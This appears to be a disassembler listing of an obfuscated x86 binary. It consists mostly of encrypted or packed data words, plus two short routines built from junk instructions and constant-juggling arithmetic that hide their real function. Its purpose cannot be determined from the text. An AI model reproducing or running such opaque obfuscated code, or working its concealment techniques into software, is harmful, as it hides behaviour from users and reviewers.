		dd 42000000h, 0C539C352h, 8F9E7A0Dh, 44B0DE81h,	6A0B64h
		dd 1E9595FFh, 0C08B05E9h, 27840EEBh, 0DABE4B49h, 5E86400Ch
		dd 5400A244h, 17CE9h, 0B58DFC00h, 5EE600Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0E9C35242h, 0E860F51Fh
		dd 0Fh,	53685F8Ah, 92518B92h, 6BA1E5D1h, 0F1D5242h, 87h
		dd 8F0F5800h, 5, 4E5228BAh, 858D615Ch, 5EC4E23h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6EC35242h, 0C767E313h
		dd 0ADE4A1F4h, 0D0FFF8A1h, 0FFC6060h, 85h, 0F616100h, 0C8Ch
		dd 6840F00h, 0F000000h,	82h, 6AC300h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 5E653FC3h
		dd 0E95AE2E9h, 0FAE8DC6h, 180h,	6660F500h, 0B0B9A2B8h
		dd 0E96061A9h, 0Ah, 196237FDh, 0AD3650CDh, 666117ABh, 6AD98Ch
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 4543F3C3h, 0C1F6FCCDh, 4D840F04h, 0E9000000h, 10h, 0BF76FA4Ch
		dd 0A74F794Eh, 50D2791Bh, 0C8BFA025h, 0CB8BFB8Bh, 75AEC032h
		dd 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh
		dd 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h,	1B8FAh
		dd 9EB0000h, 0E4EB008Bh, 0B8h, 8B0FCF00h, 1, 12E9FCF9h
		dd 0F7000000h, 4D958AE8h, 78D84B63h, 2164DFD8h,	15C0EFEAh
		dd 6785C73Ah, 3F05EE60h, 0EB000101h, 60h, 17h dup(0)
		dd 0AFFE900h, 0F3E90000h, 6800000Ah, 5EE68AEh, 0FB1ECAE9h
		dd 69C368FFh, 0C0E905EEh, 68FFFB1Eh, 5EE6A49h, 0FB1EB6E9h
		dd 1B4282FFh, 0ADDC18FEh, 3E6DAA90h, 0CD003B21h, 618CCAB0h
		dd 18A24044h, 0AC92AFDAh, 4127446Bh, 0D4BAD702h, 7D4A679Ah
		dd 7BA8EE9Ch, 0DD361327h, 62A17BFFh, 73B49A37h,	0A17AA94Ch
		dd 0F913A08Ch, 0D2742CC9h, 0A1BEE526h, 0AB4E81BBh, 1C09297Ch
		dd 0A2DE3304h, 197B4573h, 0C100C47Ch, 63A46896h, 0C4A0E3Ch
		dd 28643EE1h, 0E0A45CF9h, 3E4977A2h, 0BDFC2964h, 389A6492h
		dd 0BDA3400Ah, 5D214F82h, 0FFC3F120h, 4F6694C3h, 0AE487F7h
		dd 0A6709ECDh, 6E115503h, 279D16C9h, 1B3C5D8Ah,	0C96E296Dh
		dd 0A23FB516h, 334E5EE8h, 872AA01Ch, 254271ADh,	63A1C9F8h
		dd 3B6998D5h, 98CBC071h, 0A9FB34D1h, 68CAF533h,	435317C5h
		dd 0F3631327h, 8F5987B6h, 13BFF2Dh, 0C283B1CEh,	0F0B15588h
		dd 9ED10BE5h, 0DB09A670h, 92551A6Fh, 4B44693Ah,	6A99D632h
		dd 5A7B6408h, 0C91AEAACh, 86B1F016h, 741BB82Eh,	0CB17C946h
		dd 462943CFh, 0EF000000h, 0A41A6Fh, 1A89CD7Bh, 0A51516C9h
		dd 440E3C67h, 597B3EE2h, 0B35786C2h, 3467A17Bh,	0B49CED06h
		dd 5789A5ABh, 0E2A452F5h, 0EC16C991h, 68CED976h, 72CAh
		dd 0F5310B00h, 1A97D785h, 0A11716C9h, 0AA47113Fh, 0A41A6F7Ch
		dd 0BBEA2701h, 7220C38Dh, 16C91A2Ch, 719F3CB2h,	0EAAC5A7Bh
		dd 0F416C91Ah, 93B4E17Eh, 1A82C472h, 960C16C9h,	0A1CFFE3Ah
		dd 3E803AD7h, 0B716C91Ah, 5A7BAF53h, 0E6144380h, 1AAAEC1Ch
		dd 0BE3416C9h, 7BD2F421h, 1C0B664Ch, 71FDAEE1h,	0A48A27D4h
		dd 7B953968h, 1AEAAC5Ah, 7EF416C9h, 6F70D6E1h, 2A04A717h
		dd 0C48EBCEFh, 0CDFB2E68h, 8B396603h, 1C321CCEh, 0FA3711C8h
		dd 0A3D39DCBh, 132014E3h, 0E51375EBh, 2014754Dh, 94E18213h
		dd 26D94917h, 45815B45h, 0E724E816h, 5EC08AB8h,	13EA0C1h
		dd 6F660000h, 50FEA11Dh, 16C91A06h, 4E6F1288h, 0C91ADEA0h
		dd 0CD6AE016h, 0E4175115h, 0FC2B6741h, 0C06704CEh, 5588C292h
		dd 62A17BB1h, 0D6E29A37h, 0A41A6Fh, 5A7BD301h, 0C91AEAACh
		dd 0E17EF416h, 0CFCB4E02h, 386243h, 6F280000h, 7B00A41Ah
		dd 0C91A89CDh, 0FC9F1516h, 8AFDA3CDh, 6E0BF66Dh, 7B597B40h
		dd 0BB076A4Ch, 0A23F615Dh, 1D5780BCh, 9DE488EAh, 0F0235E38h
		dd 2D5BF8C2h, 1BCAh, 1A6F0A00h,	0CD7B00A4h, 16C91A89h
		dd 7B04A80Ch, 60A17B59h, 7AB69C39h, 379DA74Bh, 6DA71D6Fh
		dd 1435D83Ah, 34D1FC3Ah, 0C91A387Ah, 0A38AE16h,	0A0DF0C46h
		dd 96701375h, 0E9902D58h, 0A9ED9BBCh, 3516C91Ah, 0C2F422BFh
		dd 0F0B15588h, 0AA1A6FE4h, 46103E6Dh, 0D40140E4h, 9E4CC0FAh
		dd 16C91AD8h, 0E00E70E6h, 0C94B7916h, 43CFCB17h, 0D904431Dh
		dd 1C1B3Ch, 6FE10000h, 7B00A41Ah, 0C91A89CDh, 0FB9F1516h
		dd 86C2597Bh, 379DB357h, 29CAh,	1A6F0A00h, 0A17B00A4h
		dd 6C993665h, 0C91AF8BEh, 0A4E1BB16h, 89EDD875h, 7B597BE5h
		dd 936BB24Ch, 6F0C074Eh, 7A1E4D89h, 0D8CA379Dh,	0A000000h
		dd 0FEA11D6Fh, 0C91A0650h, 0A90E3D16h, 180600CCh, 2E619Ch
		dd 8331D436h, 16C944C3h, 0D6B855CBh, 346E3260h,	222F5E01h
		dd 0AE1789EAh, 0FE608FCBh, 0C28CBA61h, 7BB15588h, 0A3863A1h
		dd 0DFEBA340h, 0A41A6Fh, 17C9D301h, 2943CFCBh, 3Fh, 0A41A6FEFh
		dd 7AEA2701h, 0C91A8ACCh, 3C9E1416h, 0CD7B719Fh, 16C91A89h
		dd 68FA9BCAh, 349B0649h, 9B3FB597h, 8B395A7Bh, 16C91ACBh
		dd 0B6392CFh, 0C2CAF895h, 9DB35786h, 49CA37h, 7B0A0000h
		dd 3BB7EA4Ch, 4EAA19E8h, 0ECB6E40Fh, 51C1164Fh,	0E184E615h
		dd 0FD9ACD07h, 89CD7BCFh, 0C16C91Ah, 4C7B04A8h,	0A1F33312h
		dd 5E209455h, 5CE033E4h, 8CF3B361h, 85FB16C9h, 37598623h
		dd 0B35786C2h, 3366A17Bh, 0C2258B96h, 0D8B25588h, 736739Ch
		dd 10AD77A5h, 7E2C4D58h, 16C91A38h, 0E91C56C6h,	0F28FF1BBh
		dd 85A2CD0Ch, 432659Fh,	0C91A286Ch, 4271AE16h, 0E80F5014h
		dd 294CE9BAh, 0F382F975h, 274477B1h, 0A6D40741h, 5782C19Bh
		dd 9EC25F29h, 403574E2h, 0D609431Dh, 5B41DEA8h,	0FA709F21h
		dd 21D579DBh, 0F052B4E7h, 8FCCA6D3h, 0C5683260h, 0C9555717h
		dd 44E15716h, 0A043B30Bh, 3253A9F2h, 14B72D1Ch,	5B0145F3h
		dd 178D1320h, 182AC27Ah, 5F13205Bh, 2CF4B7BEh, 44452696h
		dd 1Ch,	5588C20Ah, 6D9CD8B2h, 3E8018D0h, 9C16C91Ah, 1A545025h
		dd 517FB2EDh, 0DA082587h, 275588C2h, 0A548B810h, 3339BBF7h
		dd 12B52B1Ch, 9DCBFE38h, 568F36D3h, 3D43FFEh, 0A20AF877h
		dd 0AAEF9D40h, 0E119DC30h, 384C12C0h, 0DC5216CEh, 0B9E75D3Fh
		dd 0CE382121h, 0C0B55616h, 0C8F525EBh, 383B40h,	6F010000h
		dd 50FEA11Dh, 16C91A1Eh, 66872AA0h, 0C91AF6B8h,	0E582F816h
		dd 72A1DEB8h, 89B8F5CFh, 4DF4915Bh, 711FF120h, 3104982Eh
		dd 5B0CB70Eh, 2FCC8C8Eh, 4151h,	1D6F9100h, 250FEA1h, 5916C91Ah
		dd 594BC82Ah, 0F89546C7h, 0CEFDA016h, 943DD1ECh, 0DD182E4h
		dd 56EDFCC3h, 0BE512AFh, 0EEB05ECEh, 0F016C9C8h, 9B75187Ah
		dd 0E6FF2D60h, 4657BBC6h, 5A20460h, 65CA305Eh, 0A000001h
		dd 2A5196Fh, 695C9AD3h,	0CA958CBh, 0C2E4F0DEh, 7BB15588h
		dd 1AEAAC5Ah, 7EF416C9h, 0C90C3AE1h, 43CFCB17h,	0D807431Dh
		dd 7DA8E6AAh, 385D7E1Bh, 23000000h, 2A5196Fh, 1A7333E1h
		dd 57B16C9h, 0A44168A9h, 805A7B76h, 0DEE91742h,	0C91A6E30h
		dd 98FA7016h, 1A7D41FBh, 0B8116C9h, 0C2597B67h,	9DB25685h
		dd 47CA37h, 6F0A0000h, 426DAB19h, 44E84A14h, 0EAAC5A7Bh
		dd 0F416C91Ah, 6B4E17Eh, 16C91A40h, 7B3DE145h, 0E142B5Ah
		dd 0D54037B7h, 0E2103B79h, 0C24D7B18h, 0B11D5C85h, 0C91A4303h
		dd 73D54B16h, 76197B45h, 2E619Ch, 9D6B9936h, 688C237h
		dd 0E58E2E3Fh, 8D319393h, 0A17BE4F0h, 639C3960h, 345F9E0Eh
		dd 5A7B2ED2h, 0C91AEAACh, 0DB7EF416h, 0C91A692Dh, 62FF7516h
		dd 17C98DBBh, 2943CFCBh, 36h, 0A41A6FEFh, 89CD7B00h, 1516C91Ah
		dd 0A17BFB9Fh, 6D9A3762h, 5786C24Bh, 7B379DB3h,	0F1751C4Ch
		dd 0FAC44EEh, 3D31h, 59987200h,	6A69E3DFh, 4DAF44C1h, 1A6F82B0h
		dd 0CD7B00A4h, 16C91A89h, 2B05A80Ch, 0CA94C2EDh, 5A7BFF2Dh
		dd 0E8164180h, 5685C21Eh, 86C28BB9h, 0E593B457h, 16C91AA1h
		dd 0EC1AB72Dh, 83C2379Dh, 0A1DBB558h, 8119D16Eh, 16C91A40h
		dd 5C482DA0h, 0A7D5F21Dh, 0B55883C2h, 0B9636086h, 0FD9A68FCh
		dd 0C8428145h, 92FB7DEh, 6391F300h, 43611473h, 2BCD904h
		dd 16C91A2Eh, 28FBBB69h, 8D0316C9h, 5C48E9DCh, 0EB4DFD0Fh
		dd 0CFE9CB96h, 0FE5EE740h, 0EEADFFFFh, 16C91AD4h, 0C91AE85Ah
		dd 1A034616h, 93AF16C9h, 1B16C91Ah, 16C91A27h, 0C91ABB87h
		dd 0AC1C7456h, 0CF035B09h, 158BDC2Fh, 0C502DCE7h, 19E6896h
		dd 5D0070C8h, 0D9E0EEAFh, 497AF0D9h, 0AF72A239h, 91D8948Ch
		dd 14000002h, 0AA90ADD4h, 3C223F6Eh, 0CDB3D0FFh, 5C425F92h
		dd 0D2D6F31Eh, 416CAA10h, 0D6FD3E24h, 6994D3B9h, 0F92C664Ch
		dd 802E0FDCh, 1327723Eh, 0C28967C0h, 10275588h,	0F7A548B8h
		dd 1C3339BFh, 7FACC93Fh, 7BEEB05Eh, 0ADEC1327h,	328A5482h
		dd 5D651FBCh, 5E13277Bh, 0EE1C4384h, 0F64E8724h, 8535E386h
		dd 0D119DD5Bh, 0A4DEB85Bh
		dd 346E5471h, 7F3BD301h, 2016C91Bh, 0DBB558C8h,	0A3D06DA0h
		dd 3338A1F5h, 14B72D1Ch, 0B0CD003Ah, 2F5D90CAh,	0AD50C018h
		dd 0DD59B3FFh, 0D20EE819h, 0AE2406A3h, 5A9B7580h, 9E3B0533h
		dd 0FA9D0D65h, 333BF24Ch, 23C63C1Ch, 7B125402h,	2C9C1327h
		dd 0C993C1F0h, 7C9DCA67h, 93766A2h, 82BCA23Fh, 0D605324Fh
		dd 268D0EBCh, 0A1E593BAh, 2D1327ECh, 0B8F955B7h, 0FC996391h
		dd 7BA9DC16h, 27C6DFE3h, 878D013h, 0D5FFB765h, 89FF19DDh
		dd 3BEC445Bh, 0C997C98Dh, 0FD5FD516h, 7EE7AC5Ah, 89FF1C31h
		dd 8BEC5658h, 0E9A59D69h, 17Ch,	7B98BFFFh, 0D2A5995h, 9EBBEA27h
		dd 2D4A7DB8h, 0C1DE0947h, 4F8D25BDh, 0E0210724h, 77B69CB9h
		dd 0F492F4Ch, 11F2BFDCh, 27732363h, 7452AB13h, 0EAAC5A7Bh
		dd 0F416C91Ah, 0FD1BC2Fh, 96F8B542h, 0FE68C0F9h, 913496BDh
		dd 18FCC270h, 3D0216C9h, 9FE4B4Fh, 902D8FEFh, 10F9B563h
		dd 8F051C33h, 33F24A61h, 7409E7BAh, 1DC022B7h, 0ABD90443h
		dd 691744E1h, 19DF0D64h, 274374EAh, 966F6DB9h, 0F6E29Eh
		dd 39790000h, 0D30FF512h, 64A187A4h, 0F7321835h, 83C1A7C4h
		dd 0AB373B58h, 89A6D10Fh, 1E3B62A3h, 0B1CEF938h, 415E91CBh
		dd 0A1E59374h, 2D132770h, 5A7BF6D4h, 0C91AEAACh, 4584F416h
		dd 0C022EC1Ah, 2292EA23h, 0EEB05E7Fh, 0F016C91Ah, 0B6DD1E7Ah
		dd 0F1CBEC19h, 31EB88B3h, 1C33397Dh, 8E680B81h,	0D0882550h
		dd 829FD20Ch, 12F629Ch,	7F2292EAh, 0DD5B79D1h, 2A47BD19h
		dd 0BCD90844h, 4D6A99D6h, 0DCF92C67h, 708DB8F6h, 0A482243h
		dd 1BEFAFDFh, 79EF16C9h, 8DB8F6DCh, 48224370h, 0EFAFDF0Ah
		dd 0EF16C91Bh, 0B5F6DC79h, 0D611EB8Eh, 0EAB75A3h, 17428167h
		dd 0A7DA14FAh, 0ED63A48Ah, 20BA3893h, 3DDA1ACh,	3F2916Ch
		dd 0DD0445A1h, 0CD255E7Bh, 0A6E0BA5Dh, 0FBA9D673h, 1C330F4Fh
		dd 1FE31187h, 0EE0FB2E5h, 274F7E40h, 11407C13h,	0FFA643B9h
		dd 321h, 33A16100h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh
		dd 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh,	4775A4E0h
		dd 4EC8386h, 56242489h,	4BEh, 24740100h, 48685E04h, 8900001Ah
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 1DE50328h
		and	ebx, 53C61CA7h
		not	ebx
		add	ebx, 48B558FCh
		neg	ebx
		add	ebx, 3CDFBA1Bh
		push	ebx
		add	dword ptr [esp], 3367D43h
		pop	edi
		sub	edi, 3367D43h
		pop	ebx
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	edx
		mov	edx, 312D05DDh
		sub	[esp+4], edx
		pop	edx
		pop	dword ptr [esi+8]
		add	dword ptr [esi+8], 312D05DDh
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5461C3
; ---------------------------------------------------------------------------
		db 3Eh
		dd 7DE923F2h, 0DC7047C1h, 64B8F221h, 305EE6Bh, 0EBC38BC5h
		dd 8EC2A904h, 523E919h,	59990000h, 0F32F1532h, 84C1A7C4h
		dd 17523855h, 0A3E1C7E4h, 8B575B78h, 0A9C6F12Fh, 3E5B82C3h
		dd 0D1EE1958h, 617EB1EBh, 4105B394h, 4D132776h,	88C216F4h
		dd 25632755h, 0BDF7DDFAh, 7B8E78Ah, 3DBFB6C4h, 98C3015Dh
		dd 5E3843FBh, 90BFFC1Dh, 8369862h, 42F38D3Eh, 0DF90B15Ah
		dd 0F5225C42h, 235691B6h, 18C92BF5h, 0D33C43C1h, 315FC123h
		dd 0CA08316Dh, 0FEEEB05Eh, 7AF016C9h, 0BE20EA18h, 38678290h
		dd 0DB15E60Dh, 0FFB07AA8h, 1BB8F0E2h, 0F4CE8FE6h, 3E986B9h
		dd 937996C9h, 260C2954h, 838EBCE7h, 39E4C454h, 912ED560h
		dd 0C496AABh, 83E5AFDDh, 0E1027155h, 0C9787333h, 68057B16h
		dd 23624233h, 0BBF5DBF8h, 0B28F1339h, 97F9381Bh, 68F0D169h
		dd 2F4616C9h, 681E600Eh, 2AA016C9h, 8E1D588Dh, 40CFA5C2h
		dd 0B2DEh, 88C2A400h, 0CD8F2755h, 0D116C91Ah, 73376594h
		dd 0CDD80639h, 0C91A5F1Fh, 6DE95F16h, 0F71F7FF6h, 0F8F4B1E0h
		dd 8E6BEC43h, 0DF793DEBh, 0F8516C9h, 73383D72h,	40CF12ADh
		dd 749FDDB7h, 1B6D7h, 7B7C0000h, 1AEAAC5Ah, 5F9B16C9h
		dd 0FFBEAE2Fh, 0F390065Eh, 74A2D10Dh, 174574B0h, 75A41853h
		db 0ECh, 0BEh
word_594F42	dw 0B55Bh		; DATA XREF: ___:off_438100o
		dd 0F7B7E739h, 0F716C9ECh, 0A27C1F81h, 3E083665h, 0C0DBE9A1h
		dd 4AF4709Fh, 40161259h, 0C9054E10h, 3DDA5016h,	0FB376D08h
		dd 114F29CCh, 9D372E97h, 0AB0D2C4Fh, 6F16B37Dh,	52002142h
		dd 16C9720Ch, 0AAEC1C92h, 3416C972h, 13B21BEh, 7B83B1CEh
		dd 9A3762A1h, 155176B4h, 5280AFECh, 2EF82688h, 1A99DD8Bh
		dd 0AF2516C9h, 0E5141F4Dh, 193D2EEEh, 7C62FF98h, 0AFD61740h
		dd 6614B781h, 16C98B20h, 0A8D638AEh, 881C59B8h,	4D7C1F4Ah
		dd 0AA89C3A2h, 4AB4854h, 83B1E41Eh, 31649E78h, 4271AE94h
		dd 0E2155014h, 8DB2F0B4h, 95C3254Ch, 8098CD7Ch,	80FC14A0h
		dd 0CB326C09h, 0A0604B2Ah, 0B440CF0Ah, 0DE088F85h, 0DA189B4Ah
		dd 55B781AFh, 5097B8h, 7B5D0000h, 9A3762A1h, 1D4B76B4h
		dd 0BFED1C59h, 0BDE78EB1h, 0A37547Fh, 94C2F530h, 9472DCAh
		dd 0B1ECB0DEh, 0C601DB7Eh, 0FE9B6593h, 9FD67746h, 0CFD5540Ch
		dd 2F6C40h, 7B320000h, 0B3960A1h, 80BEA441h, 24632755h
		dd 453CBF9h, 0CAF53371h, 86C27FADh, 0B0912957h,	616C91Ah
		dd 731D8EE7h, 6D40CFD7h, 1, 5685C233h, 0F72A6428h, 76EE5C9h
		dd 1431609Dh, 701383DBh, 31F521C2h, 6401A1Ch, 8F5436D3h
		dd 0A3B9B552h, 0E10F713Fh, 93B0E31Dh, 124073ADh, 20E3367Ah
		dd 9CBD0413h, 20E3A8EEh, 23C03613h, 0B5D687EEh,	20E34707h
		dd 34D14713h, 0C4E1144Eh, 0CE71A4DEh, 0ABD3209Fh, 811E897Ch
		dd 98CB05C9h, 6026D4F5h, 23132071h, 20713175h, 0EF47BD13h
		dd 3424DC79h, 0CA04A0D5h, 0F59B7A97h, 0EB4526BCh, 127h
		dd 6E99D8B2h, 176FA3D1h, 0FD5604A7h, 291C3209h,	87C185B3h
		dd 17513754h, 0D1ABB6E4h, 0C8076396h, 0E01A009Dh, 308F7FADh
		dd 0F2255F45h, 0E62AF6D5h, 66464526h, 0C000000h, 3A6186Fh
		dd 0C919C155h, 0CFD30216h, 0F693E07h, 3AB0922Fh, 0D232740Ch
		dd 0EAB16C9h, 0D293EA67h, 3B76CFD0h, 5F10DA08h,	558FF6D3h
		dd 0BB5EC022h, 0D774A7E1h, 0BA6889AAh, 16C958F4h, 31D384FAh
		dd 2F010407h, 0DA4C06A3h, 6416C9F0h, 9CF3D1EEh,	34000000h
		dd 57DFF205h, 0C943E5A9h, 0C273E916h, 77144B74h, 0A7176F49h
		dd 1E555604h, 6BE11C32h, 0CB3F793Dh, 5484B7F1h,	13201612h
		dd 0A7C4269Ch, 205A87C1h, 93F5BFEDh, 1636CD65h,	75C41320h
		dd 376AA400h, 507BBA94h, 5C8AB5F4h, 154EF592h, 89AA4DBDh
		dd 19476EAFh, 0BFED1455h, 0FA3793F5h, 36D39DCBh, 0DA32667Ch
		dd 872AA019h, 134170ADh, 30F4AC49h, 0B195C3F6h,	0BE163B3Ah
		dd 7A1F5F0Dh, 299F16CEh, 0D40324C7h, 46677796h,	0CD8724DAh
		dd 1C346BD5h, 9FD20CE6h, 280AA771h, 6F6795B2h, 5604A717h
		dd 1C333E4Ch, 521644BAh, 0E2C8E518h, 0AF4775A8h, 746EBD7h
		dd 7AA8D713h, 1F4D78B6h, 1787EE11h, 36274E71h, 0C5276715h
		dd 31A70F47h, 0B1F29C80h, 801D387Fh, 0F833609Ah, 604663C5h
		dd 1C5F326h, 816593C6h,	0FF396B0Ah, 8FC9AFCCh, 3722E5Ch
		dd 0B2000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h
		dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h
		dd 68864775h, 3F53h, 56240C89h,	0C681E689h, 4, 4EE81h
		dd 34870000h, 14895C24h, 24356824h, 34890000h, 29BD5524h
		dd 5705EE6Ch, 0FA89EF89h, 0EC835D5Fh, 24248904h, 4240481h
		dd 5E000000h, 796168h, 24048900h, 4689D089h, 34FF5808h
		dd 0C4815E24h, 4, 5A2434FFh, 0E904C483h, 0FFFB0EB7h, 3F2308FCh
		dd 9EBC5CC7h, 0C6B7EA59h, 70DAB8B3h, 0C50305EEh, 909CE0FFh
		dd 0A429637Fh, 2A3E4D0Ch, 6A59069Eh, 6ECA29FDh,	94C34D3Dh
		dd 218310BFh, 0FED6B3Ch, 8E6E78C9h, 0C80B76E9h,	0E69C3CCBh
		dd 0E66B1D43h, 0E57F7A2Dh, 0A2F41DB6h, 8C1976E1h, 0FB1F35A0h
		dd 0BF895C1Bh, 343E4Fh,	1C495229h, 5E2A2023h, 661109A8h
		dd 0D61A0749h, 0E8AF70A1h, 7D9B0FEDh, 0FDD70C40h, 0DC826417h
		dd 126D6FE8h, 86E648C9h, 6F4456ADh, 0EF6A2019h,	12257C54h
		dd 7AF20BC7h, 10E82321h, 0E9000000h, 61C65535h,	0DC97241Dh
		dd 7ED5C25Eh, 5A925A45h, 6830F57h, 0F000000h, 8Eh, 0C2815F00h
		dd 6584h, 2BDEBF0Fh, 5820FC0h, 66000000h, 6D9EE381h, 661034FFh
		dd 77A9DB81h, 0FE859h, 9B3D0000h, 0F948318Dh, 0A14FA3A2h
		dd 63C3EA2Dh, 4BE9BBA1h, 815F55FCh, 64C36CE9h, 814CB374h
		dd 0AAA57E9h, 81D88B48h, 50914FE9h, 0B9BB6672h,	0EF815133h
		dd 781E67A8h, 0FC02048Fh, 81F38B66h, 230EA4E8h,	68A0F04h
		dd 81000000h, 0D5C3B1D7h, 0A0C0812Dh, 0F04230Eh, 0B8Eh
		dd 5890F00h, 0BB000000h, 3F310DF5h, 9B30F881h, 850FFFFFh
		dd 0FFFFFF80h, 8DDFBF0Fh, 0EE73668Dh, 0F6BF6605h, 558D89ECh
		dd 6A05E926h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 6A2BC356h, 66AA8282h, 20A8C281h
		dd 80585C7h, 6A5805E9h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 794905C3h, 8B9DED40h
		dd 0E93295BDh, 1DB58B05h, 0C705E923h, 0E9163D85h, 5, 6E900h
		dd 0D9290000h, 0C59E90CDh, 4BDB5FFh, 6A05E9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B069AC3h
		dd 0C595FFF1h, 6A05E90Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0A310C350h,	0E6733075h
		dd 95FF006Ah, 5E91E95h,	69EBC08Bh, 0E20F9619h, 0DF9E0A10h
		dd 72709DEAh, 9433ED66h, 4B423A86h, 0CCF9BAB9h,	8A155062h
		dd 19D1BE30h, 67FCFA12h, 0B614C5D6h, 0CC96C448h, 0FCB21931h
		dd 7D6A2CFFh, 96771284h, 0C549D92Dh, 5632F19Dh,	46E4A40Bh
		dd 3D147A63h, 0FCD705E5h, 98E20752h, 1027F571h,	9158C319h
		dd 2EF6FD4Ah, 5D2AC86h,	723EA09Eh, 34179374h, 0E804EB0Fh
		dd 0E92C54EFh, 530h, 5F7CA3E3h,	0F10E3D79h, 829FCE0Bh
		dd 112E619Ch, 0A5C2ED2Bh, 3B7941A1h, 0CC0DF310h, 63A288A5h
		dd 0FB351B38h, 0FDDEABC8h, 27690F4Fh, 58368F13h, 0B25588C2h
		dd 1AA3E391h, 0B52B16C9h, 5E9C6018h, 0FE91633h,	396CA7D4h
		dd 0B1DF410Bh, 2A644AE7h, 182554F7h, 391FAF60h,	9DA860FDh
		dd 275588C3h, 0A0DAC05Dh, 3F7B3F6Dh, 49ABDA16h,	8BEA0D1Bh
		dd 0DC0A3D2h, 86D5C453h, 22BFEE2Ah, 2CCF023Ch, 79195D0Bh
		dd 0E0A516C9h, 0F044DDC9h, 95329476h, 9EC908EEh, 0BBE421FBh
		dd 0BFED4F7Eh, 0CBB158F5h, 6F33618Ch, 0F5D9072Eh, 8C66F77Eh
		dd 9E842150h, 0CFFE3A5Fh, 5875D7A1h, 0E514512Bh, 5491EDB7h
		dd 68A28825h, 0E74F56E6h, 0DF90EFEAh, 7738FCD5h, 85B3154Dh
		dd 0EBAB597Ah, 0F316C9FCh, 1D26E07Dh, 9916C9FCh, 4162FB7Ah
		dd 0C9FCD393h, 0C865DB16h, 0CF3127E9h, 613940h,	0C2FF0000h
		dd 8F275588h, 16C91ACDh, 376594D1h, 0DB093473h,	43611463h
		dd 4E76D807h, 0F51C5D37h, 2B60FDC7h, 0D7BF614Ah, 1B140CFh
		dd 77000000h, 295786C2h, 57FA2965h, 7411407Dh, 3BBDF8BCh
		dd 4E7918CAh, 0BCEA4C7Dh, 618FBAF8h, 0D531609Dh, 5539679Ah
		dd 610797DEh, 316D373Eh, 0C5FFE502h, 0C2477592h, 672B5984h
		dd 0ACEFC2Bh, 0AC709ECDh, 0ADE7436Eh, 1B3E4C7Ah, 5DBC445Ah
		dd 234E8C18h, 0B3E62006h, 5584C185h, 0BEB75827h, 0CFD533EDh
		dd 754D40h, 0C2130000h,	672B5984h, 9114AC2Ah
		dd 0C7D6C9B9h, 0FE8C8F16h, 0BF21F97Bh, 15608391h, 926518Fh
		dd 8FC8ADDCh, 0A060AD5Fh, 0F3FB6492h, 0A23FA163h, 25537EBCh
		dd 0C5F32661h, 48835DF6h, 32437815h, 0CF10C779h, 5DD940h
		dd 71A00000h, 988DF1BEh, 73A13ED8h, 235F84C2h, 0A06492F4h
		dd 64F2E761h, 4B332D49h, 0F443BBE9h, 0BAE52381h, 5741709Dh
		dd 3976A6B9h, 7B4B7916h, 1AEAAC5Ah, 84F416C9h, 58B41649h
		dd 0F5BFED1Ch, 7367258h, 1A0041D9h, 97B616C9h, 69A57FDEh
		dd 0A5420C3Ah, 0CFD71AC6h, 11640h, 0C2DC0000h, 1D285685h
		dd 0AAD80743h, 235D43E0h, 67DEC2F0h, 2A59960Eh,	0C7CD40Dh
		dd 336E4869h, 1A4D11BFh, 0DB5116C9h, 8122DC79h,	51C31F5h
		dd 639D618Fh, 4B6C8D30h, 203FD99Dh, 3F6FE513h, 13203F7Fh
		dd 0B70F3E7Bh, 17FDA441h, 0E47CAADDh, 13203FA0h, 13512B72h
		dd 5F164BE8h, 0BBE624FEh, 0CBFE381Eh, 68A781AEh, 3F084EFCh
		dd 20961320h, 0F52862BEh, 5387258h, 0FDABCCD7h,	13203FB9h
		dd 0AAD80341h, 611288E0h, 3DFC9E2Dh, 0DCC25F55h, 0BD4520A2h
		dd 67766C8h, 77B276A4h,	13521644h, 5FD6BAE8h, 264D8E16h
		dd 44CC2EF8h, 0DA1490E5h, 0E5AB8AA7h, 0FB452616h, 10Fh
		dd 0A7176FC1h, 9FD5604h, 0B3291C32h, 5487C185h,	0E4175137h
		dd 0E87CABB6h, 94985D11h, 13B21BEh, 0A6C93D4h, 5E203867h
		dd 0F85F229Dh, 54B3A35Bh, 16498321h, 4E761AF9h,	845E4526h
		dd 23ED1B46h, 336586h, 6F2B0000h, 5503A618h, 16C919C1h
		dd 11A9D74Dh, 16C91A4Dh, 92D1AB40h, 0E095CA67h,	5A81A71h
		dd 90BEF12Bh, 4EFC29C6h, 16C919D8h, 0F5D3F066h,	97h, 0AD176F35h
		dd 49134170h, 2183AEEDh, 8E3C5D7Eh, 16C91AC8h, 9C360D6h
		dd 1C321E00h, 6772A016h, 0F11F528Dh, 6AA48A27h,	0FA341A37h
		dd 20199C7h, 90132016h,	0ECB51A49h, 5183B314h, 67F67FB4h
		dd 90AF3D38h, 0FE9B0DE1h, 70B1DE18h, 0A0511B49h, 4A152AB8h
		dd 91AE1086h, 76173564h, 435FA5A6h, 0A5156DA6h,	0C607E102h
